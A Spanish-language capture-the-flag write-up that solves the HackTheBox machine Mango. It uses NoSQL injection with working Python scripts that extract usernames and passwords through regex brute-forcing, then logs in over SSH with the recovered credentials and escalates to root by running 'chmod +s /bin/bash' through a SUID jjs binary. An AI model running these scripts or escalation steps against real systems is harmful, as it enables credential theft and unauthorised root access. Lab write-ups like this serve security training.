Mango HTB - WriteUp

En el día de hoy estaremos resolviendo la máquina Mango de HackTheBox. Es una máquina Linux y su dirección IP es 10.10.10.162.

Índice

  1. Enumeración Inicial
  2. NoSQLI
    1. NoSQLI Python Script
    2. NoSQLI Python Script Extract Other User
  3. Privesc To Other User
  4. Privesc To Root

Enumeración Inicial

Lo primero que haremos será una enumeración de los servicios expuestos que tiene la máquina. Para esa tarea usaremos nmap.

❯ nmap -sC -sV -Pn -oN Extraction -p22,80,443 10.10.10.162
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-04 10:13 CET
Nmap scan report for 10.10.10.162
Host is up (0.072s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: Host: 10.10.10.162; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Podemos ver un servidor SSH en el puerto 22, un servidor HTTP en el puerto 80 y un servidor HTTPS en el puerto 443.

Lo primero que podemos ver es que en el CN del certificado SSL hay un dominio con un subdominio.

commonName=staging-order.mango.htb

Lo qye haŕe será meter en el /etc/host el dominio y el dominio junto al subdominio. Si accedemos al puerto 80 nos salta un Forbidden (403) y si accedemos al puerto 443 con el nombre mango.htb o a través de la IP, podemos ver lo que parece un buscador web.

Si accedemos a http://staging-order.mango.htb/ podemos ver contenido, un panel de inicio de sesión.

Sabiendo esto vamos a empezar a enumerar cositas… No había mas subdominios y tampoco había ningun directorio o archivo interesante que se pueda encontrar haciendo Fuzzing. Lo siguiente que intenté fue probar inyecciones sobre el panel de login. Yo intercepté las peticiones con Burp.

Lo primero que intenté fue una inyección SQL basica. La cual no funcionó.

NoSQLI

La respuesta era la misma, probé una inyección SQL basada en tiempo y tampoco dió resultado. Empecé a probar inyeccciones NoSQL.

Funcionó, les aplicamos el filtro “[$ne]” Not Equal a los campos y vemos una redirección. Vamos a seguir desde el navegador… Podemos ver que la página esta en mantenimiento. Al hacer Fuzzing, no habia ningun endpoint interesante, que necesitará de privilegios de inicio de sesión para acceder.

Por lo tanto me puse a enumerar la base de datos NoSQL a traves de un script en Python. Para explotar un NoSQLI para extraer datos, hay que usar el filtro “[$regex]” y hay que entender las siguientes regex.

El simbolo “^” significa que empieza por el caracter que le siga, por ejemplo, si tenemos ^a la expresión regular dice que empieza por a.

La expresion “.*” puede ser utilizada para hacer búsquedas y coincidencias de patrones en los valores de los campos de una base de datos. Por ejemplo, si tenemos esta expresión regular “^A.*” buscara todo lo que empiece por “A”

Sabiendo esto vamos a scriptear. Lo primero que haremos será intentar extraer la password del usuario admin. Podemos saber que el usuario admin existe de la siguiente forma:

NoSQLI Python Script

Usando el filtro Equal en el campo user y not equal en el campo password podemos ver que nos hace la redirección, esto es porque el usuario admin existe. Si probamos a poner un usuario inventado, esto no occurre.

import requests,re,signal,string,sys
from pwn import *

url="http://staging-order.mango.htb"
proxies={"http":"http://127.0.0.1:8080"}

dicc_password=string.ascii_letters+string.digits+string.punctuation


def handler(sig,frame):
	print ("[!] Saliendo...")
	sys.exit(1)

signal.signal(signal.SIGINT,handler)


def nosqli():

	password=""

	p1=log.progress("Iniciando NoSQLI")
	p1.status("Inyectando:")

	p2=log.progress("Datos:")

	while True:
		for char in dicc_password:

			data={
				"username[$eq]":"admin",
				"password[$regex]":"^%s%s.*" % (password,re.escape(char)),
				"login":"login"
			}

			r=requests.post(url,data=data,proxies=proxies,allow_redirects=False)
			p1.status(str(data))
			
			if r.status_code == 302:

				password+=char
				p2.status(password)


if __name__ == '__main__':
	nosqli()

Con ese script podemos extraer la contraseña admin, estamos utlizando un diccionario con todos los carácteres alfanumericcos y simbolos especiales, estos ultimos hay que escaparlos para que no haya conflicto con las regex. Al no saber la longitud exacta de la password debemos hacer un while infinito. Ademas estamos comprobando cuando la expresión regular es valida gracias al código de estado.

Si ejecutamos el script podemos ver el siguiente resultado.

❯ python3 script.py
[ ] Iniciando NoSQLI: {'username[$eq]': 'admin', 'password[$regex]': '^t9KcS3>!0B#2h.*', 'login': 'login'}
[↓] Datos:: t9KcS3>!0B#2

Podemos ver la password del usuario admin. Voy a intentar conectarme por SSH… pero no funciona.

NoSQLI Python Script Extract Other User

Puede que haya mas usuarios en la base de datos, para ello tengo que modifcar el script.

import requests,re,signal,string,sys
from pwn import *


url="http://staging-order.mango.htb"
proxies={"http":"http://127.0.0.1:8080"}

dicc_password=string.ascii_letters+string.digits+string.punctuation

dicc_user='bcdefghijklmnopqrstuvwxyaBCDEFGHIJKLMNOPQRSTUVWXYZA'


def handler(sig,frame):
	print ("[!] Saliendo...")
	sys.exit(1)

signal.signal(signal.SIGINT,handler)

def nosqli():

	user=""

	p1=log.progress("Iniciando NoSQLI")
	p1.status("Inyectando:")

	p2=log.progress("Datos:")

	while True:
		for char in dicc_user:

			data={
				"username[$regex]":"^%s%s" % (user,char),
				"password[$ne]":"test",
				"login":"login"
			}

			r=requests.post(url,data=data,proxies=proxies,allow_redirects=False)

			p1.status(str(data))

			if r.status_code == 302:

				user+=char
				p2.status(user)


if __name__ == '__main__':
	nosqli()

He añadido un dicc personalizado donde la “aA” se posicione despues, por si hay otro usario que no empiece por “aA”, en el caso de que existiera tendria que cambiar al posición a la m y así sucesivamente.

Si ejecutamos el script vemos otro usuario.

❯ python3 script.py
[▅] Iniciando NoSQLI: {'username[$regex]': '^mangoX', 'password[$ne]': 'test', 'login': 'login'}
[┐] Datos:: mango
[!] Saliendo...

Podemos ver el usuario mango, ahora pondremos el script como al principio para extraer la password de dicho usuario.

❯ python3 script.py
[/] Iniciando NoSQLI: {'username[$eq]': 'mango', 'password[$regex]': '^h3mXK8RhU~f{]f5H<.*', 'login': 'login'}
[/] Datos:: h3mXK8RhU~f{]f5H
[!] Saliendo...

Privesc To Other User

Si probamos a conectarnos por SSH podemos autenticarnos correctamente,

❯ sshpass -p 'h3mXK8RhU~f{]f5H' ssh mango@10.10.10.162
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Mar  4 10:45:40 UTC 2023

  System load:  0.08               Processes:            103
  Usage of /:   26.7% of 19.56GB   Users logged in:      0
  Memory usage: 26%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.


Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
mango@mango:~$

SI vemos los usuarios existentes del sistema podemos ver que hay un usuario admin.

mango@mango:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mango:x:1000:1000:mango:/home/mango:/bin/bash
admin:x:4000000000:1001:,,,:/home/admin/:/bin/sh
mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin

Si tratamos de reutilizar la contraseña extraida anteriormente, podemos ver que es valida.

mango@mango:/home$ su admin
Password: 
$ bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home$

Privesc To Root

Ahora trateremos de escalar privilegios, para convertirnos en root. Si listamos los privilegios SUID podemos ver que podemos ejecutar “/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs”

admin@mango:/home/admin$ find / -user root -perm -4000 -print 2>/dev/null | grep -v "/snap*"
/bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/run-mailcap
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign

Para aprovecharnos de esto podemos ejecutarlo. Entraremos en una consola interactiva de jjs. Podemos ejecutar comandos a nivel de sistema de la siguiente forma.

jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()
0
jjs> 

Le hemos dado permisos SUID a la bash, si tratamos de ejecutarla de forma privilegiada, entraremos en un contexto de root.

-bash-4.4$ bash -p
bash-4.4# id
uid=1000(mango) gid=1000(mango) euid=0(root) egid=0(root) groups=0(root),1000(mango)
bash-4.4#

Ya hemos pwneado la máquina! Espero que te haya servido.